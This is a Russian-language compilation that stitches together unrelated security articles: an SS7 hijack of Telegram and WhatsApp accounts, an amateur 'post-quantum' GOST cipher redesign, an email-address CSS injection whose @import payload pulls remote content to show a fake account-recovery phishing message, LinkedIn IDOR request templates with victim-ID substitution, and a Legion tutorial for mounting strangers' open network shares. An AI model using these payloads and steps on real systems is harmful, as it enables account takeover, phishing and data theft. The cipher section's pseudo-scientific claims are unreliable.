ze2357

На прошлой неделе общественность взбудоражила новость о причастности спецслужб к взлому Telegram опозиционеров. На протяжении своего существования человечество все необъяснимое пыталось объяснить с помощью высших сил – Богов. В наше время все непонятные вещи объясняют происками спецслужб. Мы решили проверить, действительно ли нужно быть спецслужбой, чтобы получить доступ к чужому аккаунту Telegram. Мы зарегистрировали тестовый аккаунт Telegram, обменялись несколькими тестовыми сообщениями: Далее мы провели атаку через сеть SS7 на один из тестовых номеров (подробнее о самих атаках мы писали ранее). И вот что у нас получилось: Сначала узнаем IMSI… Перерегистрируем абонента на наш терминал… Получаем профиль абонента… Завершаем процедуру перерегистрации абонента… Теперь номер жертвы под полным нашим контролем, инициируем на любом девайсе процедуру подключения к Telegram под аккаунтом жертвы (номер телефона) и получаем заветную SMS… После ввода кода мы получаем полноценный доступ к аккаунту Telegram, теперь мы можем не только вести переписку от имени жертвы, но и прочитать всю переписку, которую клиент Telegram любезно подгружает (телефон справа имеет полную копию переписки телефона слева): Однако, прочитать секретные чаты невозможно: Но можно создать новый и переписываться от имени жертвы: После чего мы провели атаку по той же схеме на WhatsApp. Доступ к аккаунту мы конечно же получили, однако, т.к. WhatsApp, якобы не хранит историю переписки на сервере, получить доступ к переписке, которая была ранее, не удалось. WhatsApp хранит backup переписки в Google Drive, поэтому для получения доступа к ней необходимо кроме этого взломать аккаунт Google. Зато вести переписку от имени жертвы, так что она не будет об этом знать – вполне реально: Выводы: уж сколько раз твердили миру, что одноразовые коды посредством SMS не безопасны, т.к. мобильная связь не безопасна, и уязвимостям подвержены не только технологическая сеть SS7 но и алгоритмы шифрование радиоинтерфейса. Атаки на сеть SS7 можно осуществлять из любой точки мира, а возможности злоумышленника не ограничиваются взломом мессенджеров. Таким образом, сейчас все эти атаки становятся доступны не только спецслужбам, но и многим другим. Стоит отметить, что все тесты проводились с настройками по умолчанию, т.е. в режиме в котором работает большинство пользователей.

Статья посвящена многопоточному выполнению криптопреобразований с точки зрения использования параллелизма в алгоритмических конструкциях шифров. Все криптопреобразования используемые в данной статье не более чем демонстрация возможных подходов к построению параллельных криптографических алгоритмов. Если в результате этого получилось что-то стоящее внимания криптографа, то это исключительно случайно… Публичная информация о квантовых методах криптоанализа Уже давно не секрет, что разработаны алгоритмы криптоанализа симметричного, и ассиметричного шифрования специально для квантовых компьютеров. Алгоритмы были, не было компьютеров, теперь они появились. http://www.securitylab.ru/news/448779.php Независимые (академические) криптоаналитики должны иметь свой инструмент для публичных исследований, и он уже тоже появился.http://www.pcweek.ru/idea/article/detail.php?ID=185415 До недавнего времени считалось, что симметричное шифрование плохо поддается методам квантового криптоанализа, но вот новость касающаяся взлома блочных шифров новым (хорошо забытым старым) методом. http://www.securitylab.ru/news/301779.php?pagen=3&el_id=301779 На первый взгляд не понятно о чем идет речь, попробую объяснять «на пальцах»… Во первых, это возвращение к древнему аналоговому решателю. Были такие раньше вычислительные установки, тогда они были «электрическими», а вот теперь стали «квантовыми». Но суть от этого не меняется. Во вторых, в описываемой установке используется новая техника квантового криптоанализа требующая пояснения. Возьмем простейший случай генерации гаммы, вырабатываемой к примеру, на основе алгоритма ГОСТ 28147-89. Оцифруем получившуюся последовательность гаммы как волну, с помощью преобразования Фурье, разложив на гармонические составляющие. В результате получим классическую и очень стабильную картину псевдослучайного «розового» шума, там будет стабильный и ограниченный набор частот модулированных по амплитуде и фазе. Теперь наложим на гамму шифруемый текст, у нас получится зашифрованный текст, его тоже можно представить в виде оцифрованной волновой функции. Фактически шифрование, это процесс тождественный радиопередаче, когда модулируется высокочастотное излучение низкочастотным сигналом. Гамма это высокочастотный сигнал, а шифруемый текст, это низкочастотный модулятор. Взлом с помощью квантовой криптографии по сути тождественен работе детекторного приемника, отсекается исходная волновая функция и выделяется низкочастотная модулирующая составляющая. Если шифруемый текст полностью лишен внутренних закономерностей (в простейшем случае содержит случайные числа) то мы получим уже не «розовый», а классический «белый» шум. Такой шифротекст квантовой криптографии сложно расколоть, нужно иметь для криптоанализа исходный и зашифрованный текст, тогда вычислить ключи реально. Но обычно шифруются тексты с внутренними взаимосвязями (повторами в простейшем случае), там где есть повторяемость (даже не явная), картина изменится, в спектре появятся специфические низкочастотные составляющие (пучности). В этом случае, даже исходный текст взломщикам становится не нужен. Вывод из выше изложенного очевиден, кроме алгоритмической сложности алгоритм шифрования должен еще и обеспечивать статистические параметры шифротекста максимально приближенные к случайному распределению. Как с этим бороться? АНБ ввела в публичный обиход понятие «ПостКвантовая криптография», воспользуемся им и мы. Появление этого термина символично и означает, что старые методы шифрования уже не пригодны. Для начала АНБ предлагает увеличивать длину ключа, это не решение проблемы, но существенное затруднение процесса взлома. В последующем вообще предлагается переходить на более стойкие алгоритмы. Вектор направления в разработках новых блочных шифров очевиден, это приближение шифрованного текста к параметрам случайной последовательности, зашифрованный текст должен быть максимально статистически схож с данными получаемыми на генераторах случайных чисел. В России на данный момент официально существует два блочных шифра, новый «Кузнечик» не пригоден для скоростного шифрования, его удел специальные ускорители типа встроенного в Интел спец/вычислителя AES шифра. Старый ГОСТ 28147-89 (Магма) идеально ложится на систему команд х86-84 в части параллельных вычислений (AVX расширения). Взяв новое имя, он, к сожалению не прошел «рестайлинга», который ему уже давно необходим. Поэтому, фантазировать и изобретать новые стойкие алгоритмы, не будем. Вместо этого займемся поиском «красоты» в параллельной реализации ГОСТ 28147-89, а красота страшная сила, она побеждает все, в том числе и квантовые методы взлома… Что сделать конкретно? Во первых, нужно статистические параметры «Магмы» максимально приблизить к характеристикам случайной последовательности (белому шуму). Это сделается «честным» подбором блоков замен. Во вторых, «Магма» нуждается в увеличение разрядности ключей и блоков данных. Нужно уходить от схемы четырех повторов 8 ключей и переходить к схеме без повторов. При этом нужно увеличивать размерность блоков данных. В третьих, с учетом специфики квантовых методов взлома, простого увеличения длины ключа и размерности блоков мало, нужен глубокий «тюнинг». Перечислю главное: - Шифруемый текст предварительно пропускать через процедуру удаления избыточности, проще говоря, компрессировать с максимальной тщательностью. - Не использовать алгоритмы обладающие обратимостью, соответственно работать в режиме гаммирования, либо, что еще лучше в режиме прямой замены+гаммирование. - Ввести в алгоритм операции по «запутыванию» состояния. - Ввести операции по формированию «неопределенности» состояния накопителей. - Не использовать линейных «зацеплений» между смежными блоками, т.е. отказаться от линейных преобразований при формировании первоначальных заполнений. Техника параллельных раундов С моей легкой руки сейчас все перешли на параллельную реализацию ГОСТ 28147-89, пока параллелизм используется только для увеличения скорости, за счет одновременного расчета до 16 блоков. Раньше аппаратура позволяла эффективно вести расчеты только на 8 блоках (на ХММ регистрах), сейчас можно уже использовать регистры удвоенной длины (YMM регистры). Единственно возможным (с точки зрения оптимизации) размещением накопителей N1 и N2 по регистрам длинной 256 бит является такая схема, для счета в 16 потоков: Как видно, эта схема предполагает раздельное хранение накопителей N1 и N2 (так было и раньше, на регистрах длиной 128бит Использование YMM регистров делает старшие и младшие половинки регистров независимыми для блоков подстановок. Это позволяет создать два независимых потока расчетов на различных блоках замен и различных ключах. Раньше так делать было нельзя. Возможности параллельного счета увеличением скорости не ограничиваются, перечислю основное, что можно использовать в чисто алгоритмических целях: - Во первых, пока параллельный счет идет на одних и тех же ключах и блоках замен, но это не обязательное ограничение, можно шифровать на уникальных ключах и блоках замен для каждого блока. - Во вторых, у нас появляется за один раунд одновременно 16 независимых результатов, это эквивалентно проведению 16 раундов над одним блоком. - В третьих, алгоритм ГОСТ 28147-89 не использует в преобразовании накопитель N2, его можно тоже модифицировать, но не проводя над ним математические преобразования, а«запутывая» его состояние в зависимости от состояния смежных параллельно работающих преобразований. Теперь попытаемся эти новые возможности предоставляемые параллельным шифрованием 16 блоков на 16 независимых преобразователях реализовать в модифицированном алгоритме ГОСТ 28147-89. Первоначальные заполнения Наиболее предпочтительным среди режимов шифрования является режим гаммирования. С точки зрения параллельного счета он крайне неудобно реализован в стандартах (новом и старом), поэтому начнем с него. Из 16 параллельно работающих преобразователей сформируем две абсолютно независимых группы (потока) по 8 преобразователей. Независимость достигается использованием в них различных ключей и блоков подстановки. Соответственно у нас появляется два различных блока замен по 64 байта и шестнадцать четырехбайтных ключей. На основе этих групп будем формировать независимые первоначальные заполнения перекрестным методом, когда выходное состояние одной группы становится входным состоянием для другой группы в следующем цикле формирования гаммы. Самое первое заполнение для групп преобразователей, чтобы не плодить новых «сущностей», будем формировать из значений 8 ключей шифрования разных групп, отказавшись от концепции «синхропосылки». Будем их просто подставлять, каждому из 8 преобразователей по ключу из другой группы. Так чтобы номер (n=1…8) преобразователя соответствовал ключу с номером 9-n. Этими значениями заполнятся накопители N1, в каждом из 16 преобразователей. Второй накопитель N2 можно заполнять номером блока гаммы, соответственно он будет для всех преобразователей связан линейной функцией. Номер блока гаммы необходим для того, чтобы на одних и тех же ключах получать разные гаммы, что важно для каналов передачи данных и шифрования дисков. В этой схеме блоков данных может быть не более 232, но размерность самого блока не ограничена, так что размерность гаммы без повторов тоже не ограничена. Вот как это выглядит на блок схеме: Защита от дифференциального криптоанализа С целью защиты от дифференциальных методов криптоанализа «запутаем» гамму. Для этого, перед тем как состояние накопителей выводить в гамму, выполним операции «перетасовки» байт накопителей. Чтобы результат такой перетасовки не был известен заранее, будем ее выполнять в зависимости от значений соответствующих байт в накопителях. Проще всего выполнить операции сборки минимальных и максимальных значений соответствующих байт в первом и втором потоке. Вот как это выглядит на блок схеме: Вроде громоздко на схемах, но в коде все просто, вот как формируются начальные заполнения и запутывается гамма коде: ;/////////////первоначальные заполнения и запись результата в буфер гаммы vperm2i128 ymm6,ymm6,ymm6,001h; обменять верхние и нижние блоки N1 vperm2i128 ymm7,ymm7,ymm7,001h; обменять верхние и нижние блоки N2 vpminsb ymm8,ymm6,ymm7; собрать минимальные значения vpmaxsb ymm9,ymm6,ymm7; собрать максимальные значения vmovupd [rsp+040h],ymm8; в гамму vmovupd [rsp+060h],ymm9; в гамму В этом коде сначала меняются местами значения в группах накопителей из верхней и нижней части 256битных регистров. Затем выполняется запутывание на командах выделения минимальных и максимальных байт в эквивалентных позициях гаммы обоих потоков. В конце получившиеся значения записываются в буфер гаммы. Схему формирования первоначального заполнения и выдачи данных в гамму можно конечно усложнять и модифицировать. Данная схема описана исключительно для демонстрации самого принципа использования параллельности в криптоалгоритме. Ключевая схема. Можно усложнить ключевую схему в рамках уже существующей архитектуры преобразования. Сейчас в каждом раунде подаются на преобразователи (их 8 штук в каждом из двух потоков) одинаковые ключи. Для усложнения можно: - В каждом потоке иметь собственный набор из 8ключей. - Подавать в преобразователи ключи в соответствии с номером преобразователя и перебирать их затем циклически. Вот как это выглядит на схеме: Эта схема превращает каждый из 16 преобразователей в полностью автономный функциональный блок, выдающий свой уникальный результат даже на одинаковых первоначальных заполнениях и одинаковых ключах. Для этой операции никаких новых процессорных команд при реализации вводить не надо, просто переупорядочиваются структуры блоков ключей в оперативной памяти. Введение операции «неопределенности» состояния накопителей И так, для усиления схемы формирования первоначальных заполнений, из 16 параллельно работающих преобразователей сделаны два независимых потока по 8 параллельно работающих преобразователей. Далее будем рассматривать работу только одной из этих групп по 8 преобразователей, имея ввиду, что обе группы работают одинаково, только используют разные ключи, блоки замен и первоначальные заполнения. У нас в результате одного раунда в группе из 8 преобразователей вычисляются сразу 8 новых значений накопителей N1 и N2, их можно «перетасовать». Придумывать новых операций не будем, есть проверенная подстановка в блоках замен, ее и используем. Сделаем часть подстановок не статическими, а динамическими. Другими словами, сами накопители N1 и N2 станут динамическими блоками замен. Блоки накопителей N1 и N2 при параллельном счете занимают четыре регистра по 128 бит. Именно столько же регистров используется для блоков замен в основном цикле. Для реализации динамических блоков замен нужно подставить в преобразование вместо регистров со статическими блоками замен, регистры хранения значений накопителей N1, N2 предыдущего раунда. Будем эту операцию делать через раз, в одном раунде будем использовать штатные статические блоки замен, а в следующем будем использовать динамические блоки замен. Таким образом у нас появляется операция которая подставляет в тетрады восьми накопителей N1 абсолютно непредсказуеме значения, эта операция необратима, таким преобразованием можно только гаммировать и вычислять Хеш функцию. Если оставаться в рамках обратимости алгоритма, то в динамических заменах нужно использовать только накопители N2. Эффект синергетики Реализация динамических блоков замен кроме удовлетворения требованиям постквантовой криптографии имеет еще одно положительное свойство. Она интегрирует методом нелинейной замены 8 циклов шифрования на разных ключах. Это эквивалентно тому, что за один раунд выполняется сразу девять независимых раундов преобразований… Для выполнения условия эквивалентности, нужно в каждом преобразователе использовать разные ключи, у нас их 8, столько же преобразователей. Следовательно, преобразователи должны выполнять тождественные раунды на разных ключах и перебирать их последовательно. Это требует применения ключевой схемы, о которой уже говорилось выше. Выполнение одного раунда, на динамических блоках подстановок эквивалентно, 9 раундам исходного преобразования, поэтому можно уменьшить количество раундов в операции гаммирования. Мелочиться не будем, уменьшим их в четыре раза, до 8, это будет в эквивалентной схеме равно 40 раундам последовательного счета исходного варианта. В результате, повышая криптостойкость мы еще в четыре раза увеличиваем скорость преобразования, на мой взгляд это и есть «красивое» решение. Использование накопителей N2 для «запутывания» состояния статическим методом Но даже это не предел, сделаем не просто «красиво», а «очень красиво»… У нас простаивают во время преобразований замены и сдвига накопители N2, и есть незадействованные исполнительные устройства в составе процессора. Этот потенциальный ресурс тоже можно использовать. Введем еще одну нелинейную операцию преобразования накопителей N2, и будем ее выполнять на фоне преобразования накопителей N1, это не приведет к увеличению времени выполнения. Простейшим преобразованием, может быть(в качестве примера), такая статическая перестановка: Здесь «пересобираются» байты накопителей N2 двух независимых потоков в соответствии со статической схемой перестановки. В каждом из потоков собственная схема сборки. Для этой операции требуется всего одна процессорная команда. В первом потоке собираются байты в соответствии с номерами накопителей. Во втором потоке смежные накопители обмениваются соответствующими байтами. Статические замены можно использовать в обратимых алгоритмах, но в более сложном (динамическом) варианте, обратимость теряется. Использование накопителей N2 для «запутывания» состояния динамическим методом Усложним операцию, будем выполнять динамические перестановки, с двумя отличиями от статического преобразования: - Использовать в качестве индекса перестановки будем тетрады из каждого байта накопителей N2. - Индексы каждого из накопителей N2 используются для перестановок байт в другом накопителе. Эту операцию будем проводить во время раунда со статическими блоками замен, которые описаны ранее, чтобы не дублировать динамические подстановки в накопителях N1. Вот как реализация этого преобразования выглядит на командах процессора: ;//////////модификация накопителей N2 vpand ymm5,ymm1,[rbx+40h]; сбросить старшие тетрады в байтах vpand ymm8,ymm7,[rbx+40h]; сбросить старшие тетрады в байтах vpshufb ymm7,ymm7,ymm5; перемешать байты 1блока накопителей vpshufb ymm1,ymm1,ymm8; перемешать байты 2блока накопителей В эквивалентной схеме введение такой операции соответствует 6 раундам исходного преобразования. Соответственно на 8 раундов в эквивалентной схеме получается 24 раундов исходного преобразования. Суммарно оба метода дают 36+24=60 раундов, это более чем достаточно для стойкости против традиционных методов криптоанализа, и достаточно для требований криптостойкости постквантовой криптографии, при этом скорость гаммирования на стенде получается 3.8Гбайт/сек для одного процессорного ядра частотой 4гГерца. Куда больше? Инжекция случайных байт Больше не надо, лучше меньше, но лучше. Сделаем так, чтобы недостаток динамических блоков подстановок (их статистическая слабость) компенсировалась инжекцией случайных байт. Это кстати частично устранит «ахиллесову пяту» Магмы, - тетрадные подстановки. Суть операции проста, перед операцией подстановки запомним значение накопителей N1, а после подстановки и сдвига сравним полученное значение с сохраненным. Если какие то байты совпали (из-за слабости текущей подстановки) то заменим этот байт на взятый из рандомного байтового блока случайным образом. Рандомным блоком будет специальный стандартизированный блок размером в 256 байт, подготовленный заранее. Случайность выборки из него организуем через смещение, величина которого зависит от предыдущего накопленного числа совпадений. Вот как это реализуется в коде: ;/////////удаление повторов vpcmpeqb ymm3,ymm3,ymm7; сравнить запомненное и текущее состояние vpblendvb ymm7,ymm7,[rcx+r14],ymm3; заменить совпавшие байты vpmovmskb r15,ymm3; маска совпадений для 32байт popcnt r15,r15; число совпадений add r14,r15; накопить число совпадений and r14,0ffh; закольцевать адресацию буфера Данный вариант операции не применим к обратимым алгоритмам, но изменив порядок выборки случайных байт можно сконструировать и обратимый алгоритм. Понятно что эта операция увеличивает время выполнения (около 15%), но при достигнутых скоростях это уже не существенно. «Цена вопроса», - в среднем получается инжекция одного случайного байта на 128 байт гаммы, на мой взгляд это то, что надо… В заключении В автомобилестроение есть понятие «КонцептКар», это нечто такое, что вобрало в себя сумму инновационных решений и используется для их обкатки в тестовом режиме. Вот и в ПостКвантовой криптографии появился такой «концепт», пока он работает в виде тестового примера, но это только пока… Еще раз перечислю инновации этого «концепта»: - Введены динамические блоки замен, состоящие из раундовых значений накопителей N1 и N2. - Введена схема компенсации слабости блоков динамических замен и инжекции случайных байт. - Введена нелинейная функция преобразования значений накопителей N2. - Введена нелинейная функция формирования первоначального заполнения накопителей N1 и N2. - Введена операция защиты от дифференциальных методов криптоанализа. В результате, практически не изменив принципов самого алгоритма удалось перейти на увеличенную в два раза размерность ключей (16 четырехбайтных ключа) и увеличенную в шестнадцать раз размерность входных векторов(128 байт вместо 8). Криптографы и криптоаналитики идеи использования параллелизма в криптопреобразованиях восприняли мягко говоря прохладно… Причины очевидны. Но они нам не указ, и концепт ПостКвантового шифратора не останется только на бумаге. В настоящее время разрабатывается полнофункциональная программа с его реализацией (система архивирования). Так что пища для ума по крайней мере у «практикующих» криптоаналитиков скоро появится в принудительном порядке…

Недавно мы заметили, что приложение пропускает email-адреса в небезопасном формате. Конкретно в том случае, происходила отсылка письма с адресом без escape-последовательностей. Проверка адресов происходила, но лишь при помощи стандартного Java-валидатора javax.mail.internet.InternetAddress.validate(). На странице Википедии присутствуют легитимные адреса, которые в большинстве своем успешно проходят проверку методами библиотеки Java. У злоумышленников есть два способа сделать инъекцию через email-адрес: комментарии и кавычки. Java-валидатор не пропускает комментарии, но пропускает строки, заключенные в кавычки. Пример легитимного адреса с кавычками: "john.smith"@example.org Или такой: "john.smith<script>alert(1);<script>"@example.org Последний пример – канонический тест на наличие возможности XSS-атаки. В последнем примере email-адрес использовался в качестве исходящего адреса, но этот случай, как правило, не пригоден для XSS-атак, поскольку почтовые приложения зачастую не имеют движков на базе Javascript или вообще отказываются выполнять любые скрипты. Иногда злоумышленники все же находят лазейки, но сделать подобное довольно сложно. Если все же уязвимость находится, то проблема становится намного более масштабной чем то, о чем я рассказывают в данной статье. Современные почтовые клиенты допускают использование CSS, и, соответственно, имеется возможность добавления произвольного HTML-кода и изменения части письма, видимой пользователю. Подобный расклад позволяет успешно выполнять фишинговые атаки, поскольку злоумышленник может сформировать вредоносные сообщения от имени легитимных сервисов. Мое основное приложения для чтения почты - Mail.app (ОС OSX), второстепенное – Thunderbird. В исследуемом приложении есть строгие ограничения: адрес - не более 50 символов, домен – не менее двух частей, вторая из которых должна состоять как минимум из двух символов. (Эти условия не прописаны в RFC, и подобных фильтров нет в Java-библиотеках). Учитывая кавычки и формат домена, я могу передать максимум 43 символа: "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"@x.xx Естественно, сюда же необходимо добавить открывающийся и закрывающийся тег style: "<style>XXXXXXXXXXXXXXXXXXXXXXXXXXXX</style>"@x.xx Но даже несмотря на подобные ограничения, благодаря коротким URL и директиве @import, мы можем вставить полезную нагрузку: "<style>@import 'http://xxxxxxxxxxx...;</style>"@x.xx Префикс http:// обязателен так же как и кавычки. Возникает закономерный вопрос: возможно ли найти короткий домен из 11 символов? Тут есть 2 варианта: зарегистрировать домен наподобие «ant.nu», или воспользоваться сервисом ly.my. В последнем случае мы можем уложиться в 9 символов: "<style>@import 'http://ly.my/pva...;</style>"@x.xx Далее перезаписываем почтовое сообщение полезной нагрузкой примерно следующего вида: body { visibility: hidden; } body:after { content:'We have detected unauthorized access to your account. Please visit http://example.account-recovery.net/ to restore access, or call 555-1212.'; visibility: visible; display: block; position: absolute; padding: 5px; top: 2px; } Вышеуказанное сообщение в почтовом клиенте Mail.app выглядит так: Рисунок 1: Внешний вид поддельного сообщения в почтовом клиенте Mail.app В приложении Thunderbird, если принять предупреждение о загрузке удаленного содержимого, сообщение будет выглядеть так: Рисунок 2: Внешний вид поддельного сообщения в почтовом клиенте Mail.app Выводы: Валидаторы email-адресов не идеальны. В большинстве почтовых клиентов должна присутствовать дополнительная проверка внешних ссылок и дополнительные возможности на примере в Thunderbird, где предлагается приостановка загрузки внешнего содержимого.

В 2015 году команда проекта CloudSek задалась целью разработки системы искусственного интеллекта, которая сможет взаимодействовать с интернетом как разумный человек. Первый прототип системы был представлен публике в марте 2016 года на конференции NullCon. С тех пор в проекте было несколько прорывных открытий, о которых мы хотим сегодня рассказать. Cloud-AI от CloudSek Люди (на самом деле, не все) понимают, что делать на сайте или в мобильном приложении, основываясь на предыдущем опыте и с помощью визуальных подсказок. Мы понимаем, где «кнопка» по надписи на ней, по её форме и даже по размеру и цвету объектов. Компьютерные системы старого типа не используют прежний опыт в решение новых задач. Этот вызов приняли разработчики из CloudSek. Они разработали систему на основе искусственного интеллекта, которая перемещается по веб-сайтам как человек, развивающийся на собственном опыте. В CloudSek используется обучение с частичным привлечением учителя (Semi-supervised learning) — для части прецедентов задается пара «ситуация, требуемое решение», а для части — только «ситуация». Люди создали огромное количество способов и обозначений механизмов взаимодействия с веб-интерфейсами. Эти данные используются для тренировки системы Cloud-AI от CloudSek, до тех пор пока модель самостоятельно не выполняет необходимые задачи успешно. Такой подход помогает справляться со сложными ситуациями. Обучение с подкреплением сигналами только от среды взаимодействия (reinforcement learning), а не от учителя, как в CloudSek, было бы менее эффективным по затратам времени при решении подобных задач. Спустя 14 месяцев обучения расстановкой тегов на различные варианты веб-интерфейсов и создания контрольного набора данных, команда проекта получила поразительные результаты. Cloud-AI успешно распознает и классифицирует формы ввода, кнопки и ссылочную навигацию с минимальной погрешностью. С Cloud-AI возможно эффективное взаимодействие с мобильными, веб или практически любыми приложениями, в которых использован графический пользовательский интерфейс. Введение В 2015 Amazon выпустила Amazon Echo, персональный ассистент с искусственным интеллектом, который может услышать, понять и ответить на любой вопрос. Google уже тестирует автомобили на автопилоте в нескольких городах. Компании создают технологии, которые помогают людям в их повседневной деятельности. В CloudSek используют искусственный интеллект, чтобы создать агентов, которые могут перемещаться по интернет-паутине и выполнять сложные, но скучные и отнимающие много времени задачи. В идее автоматизации веб-задач ничего нового. Однако, развивающаяся автоматизированная система, которая может взаимодействовать и перемещаться по любому пользовательскому интерфейсу в сети – это нечто совершенно иное, и игра стоит свеч. Amazon Echo может сделать заказ для вас через портал покупок Amazon. Но Echo не в состояние заказать для вас товар через Alibaba или другой сервис с неизвестным ему API. В будущем мы сможем использовать Cloud-AI для заказа чего угодно где угодно через интернет и выполнения прочих сложных задач, экономя время. Cloud-AI быстр и точен, он используется CloudSek для создания продуктов x-Vigil и CloudMon. x-Vigil просматривает различные Интернет-ресурсы, социальные медиа-платформы и форумы, распознавая широкий спектр угроз информационной безопасности и оповещая об этом в режиме реального времени без ручного вмешательства. CloudMon проводит мониторинг незащищенности интернет-инфраструктуры (облачные приложения, веб-сайты) с целью выявления критически важных проблем безопасности. CloudSek использует Cloud-AI в качестве автоматизированного мониторинга безопасности веб-приложений и облачной инфраструктуры вместо ручного тестирования, наращивая при этом потенциал системы после каждого теста. Cloud-AI: Кейсы и результаты в сфере информационной безопасности приложений Небезопасные прямые ссылки на объекты (Insecure Direct Object References) были одной из наиболее известных проблем безопасности на Facebook. Приложения часто используют реальное имя или ключ объекта при создании веб-страниц, не всегда выполняя проверку авторизации пользователя для целевого действия. Это создает брешь в безопасности приложений. Например, функция удаления учетной записи: http://domain.com/delete-account.php?userid=5555 Атакующий User-id = 5555, легко заменяется значением User-id жертвы для обнаружения таких уязвимостей. Задача поиска таких известных ошибок безопасности сложна для автоматизированного инструмента из-за труднодоступности целевого действия. Причина этого — необходимость многошагового взаимодействия с интерфейсом. Ручное тестирование каждого такого бага отнимет очень много времени. CloudSek использовала систему Cloud-AI для взаимодействия со многими популярными и современными веб-приложениями для автоматического тестирования уязвимостей. Основной целью были небезопасные прямые ссылки на объекты. В числе тестируемых платформ был LinkedIn, выбранный по причине известности и простоты интерфейса. Тестирование утечек данных в LinkedIn Команда проекта обнаружила 10 уязвимостей через небезопасные прямые ссылки на объекты в LinkedIn. Эти баги было бы очень трудоемко найти вручную и практически невозможно с помощью традиционных автоматизированных средств. Команда LinkedIn была уведомлена об этих уязвимостях. Вот несколько уже исправленных: Утечка email для id любого пользователя. Утечка email пользователей, телефонных номеров и резюме. Удаление всех пользовательских приглашений. Скачивание субтитров ко всем видео в библиотеке онлайн-курсов Lynda. Загрузка всех файлов с упражнениями без покупки премиального аккаунта Lynda. Хотя все баги были довольно простыми, потребовались большие усилия, чтобы их найти. Cloud-AI заполнял многочисленные пользовательские формы и следовал поведенческим моделям для достижения уязвимостей. Такие уязвимости часто упускаются существующими автоматизированными средствами и при ручном тестировании. 1) Утечка email для id любого пользователя Существует возможность, позволяющая рекрутерам делиться контактами отобранных кандидатов с другими менеджерами по найму. Запрос ниже отправит профиль кандидата другому пользователю. Изменение значения id в запросе на id жертвы позволяет получить email для этого id. POST /cap/candidate/forwardProfilesAjax HTTP/1.1 Host: www.linkedin.com csrfToken=ajax&newHiringManagerMemberIds=&forwardTo=&msgBody=Hello&_action_forwardProfilesAjax&projectId=&memberIds=[Victim ID] Для нахождения этого запроса Cloud-AI успешно выполнил несколько действий: a) Залогинился в LinkedIn; Дошел по ссылкам до возможности делиться резюме; c) Открыл правильную форму для заполнения; d) Написал сообщение и нажал нужную кнопку для подтверждения. Cloud-AI самостоятельно заполняет необходимые формы Ответ содержал адреса электронной почты других пользователей. Утечка имен и email-адресов жертв Другие баги относительно схожи. Важно, что Cloud-AI успешно выполнял цепочку действия с графическим интерфейсом для достижения уязвимости. 2) Утечка email пользователей, телефонных номеров и резюме Изменение memberIds в следующем запросе позволяет взломщику посмотреть резюме жертвы. GET /cap/applicant/profileExportPdf?trackingSearchId=[id]&memberIds=[Victim IDs] Только люди, которые искали работу через LinkedIn, были уязвимы. Следовательно, это затрагивало не всех пользователей. 3) Удаление всех пользовательских приглашений Запрос, позволяющий удалять все приглашения на LinkedIn путем изменения request-id. POST /people/invites/withdraw?isInvite=true HTTP/1.1 Host: www.linkedin.com Connection: close 4) Скачивание субтитров ко всем видео в библиотеке онлайн-курсов Lynda Запрос, скачивающий субтитры (стенограммы) всех видео без какой-либо аутентификации. GET /ajax/player/transcript?courseId=496475&videoId=509328 5) Загрузка всех файлов с упражнениями без покупки премиального аккаунта Lynda GET /ajax/course/518763/download/exercise/543328 После получения сообщения о найденных уязвимостях Команда LinkedIn устранила их в течение 24 часов. Поэтому обо всех описанных возможностях для взлома следует читать в прошедшем времени. Метод и OpenSource код Модуль мутации HTTP Все данные, полученные Cloud-AI, пропускались через прокси-сервер, который разбирал HTTP-запрос по переменным. Отправка запросов с измененными в модуле мутации переменными позволяла найти проблемы с безопасностью. Перед оповещением разработчиков LinkedIn команда CloudSek вручную проверяла найденные уязвимости. Модуль системы, который действует как прокси-сервер и выполняет мутации, сейчас находится в<a href="https://github.com/c...oudsek/Mutator" style="color: rgb(153, 0, 153); text-decoration: none; font-family: Verdana, sans-serif; line-height: 22.3999996185303px;">открытом доступе. Будущее Cloud-AI Cloud-AI собирает всё больше информации о том, как люди взаимодействуют с веб-интерфейсами. Это позволяет команде настраивать систему на более сложные действия. В планах интеграция возможностей обучения с подкреплением сигналами от среды взаимодействия (reinforcement learning). Это позволит достичь максимального числа действий, которые Cloud-AI сможет выполнить как обычный пользователь. Также ожидается появления API, позволяющего каждому автоматизировать выполнение своих задач, используя Cloud-AI. Мы должны помнить, что новые технологии не приходят без опасностей. Cloud-AI может стать опасным оружием, если попадет не в те руки.

Программа Legion 2.1, сделанная группой Rhino9, является одним из наиболее популярных средств сканирования удаленных компьютеров на наличие share-файлов с последующей возможностью их копирования, стирания и изменения. Популярность эта программа получила за счет относительной простоты настроек и удобств работы, о которых речь пойдет дальше. Описание работы с Legion 2.1 Для начала вам нужно знать диапазон IP-адресов, которые будут сканироваться. Советую брать от x.x.x.1 до x.x.x.255, иначе при медленной связи ждать придется очень долго. Ставим галочку на Scan Type/Scan Range, для того чтобы задать диапазон IP прямо в программе, и задаем непосредственно Scan Range/Enter Start IP и Scan Range/Enter End IP. Например, при установке параметров 10.20.30.1 и 10.20.31.255 у нас будут просканированы подсети 10.20.30.x и 10.20.31.x. Кроме этого, для установки сканируемых IP можно использовать текстовый файл, что очень удобно при сканировании одного набора IP. Устанавливаем Connection Speed на нужное значение и жмем кнопочку Scan. Программа начинает сканировать подсеть: При удачном выборе диапазона IP вы вскоре найдете открытые для доступа сетевые диски, а выглядеть это будет так: В данном случае мы имеем диски A, M и C по адресу 195.239.3.48 и диск SPEDIA по адресу 195.239.3.64. Для получения доступа к ним надо нажать Map Drive, а после успешного монтирования диск появится как сетевой в стандартном эксплорере Windows. Техническая информация. Для использования программы рекомендуется NT4 Server или Workstation, но возможна и работа под Windows 95/98. Минимальная конфигурация — Pentium 100, 32 MB RAM, Windows NT4 / Windows98, 28.8 kbps modem. Возможные проблемы. Legion не находит цели после NetBios сканирования. Если сканирование производится из LAN, убедитесь, что конфигурация firewall и прокси для LAN поддерживают NetBios. При подключении через модем убедитесь, что программа верно настроена. Legion находит не все хосты в диапазоне IP. Попробуйте поставить более медленную скорость соединения. Регулирование скорости определяет время, отведенное удаленной машине для ответа. Если удаленный компьютер перегружен или слишком медленно работает, он может быть не включен в отчет. Legion не работает под NT5. Legion не тестировался под NT5, вы используете его на свой страх и риск.

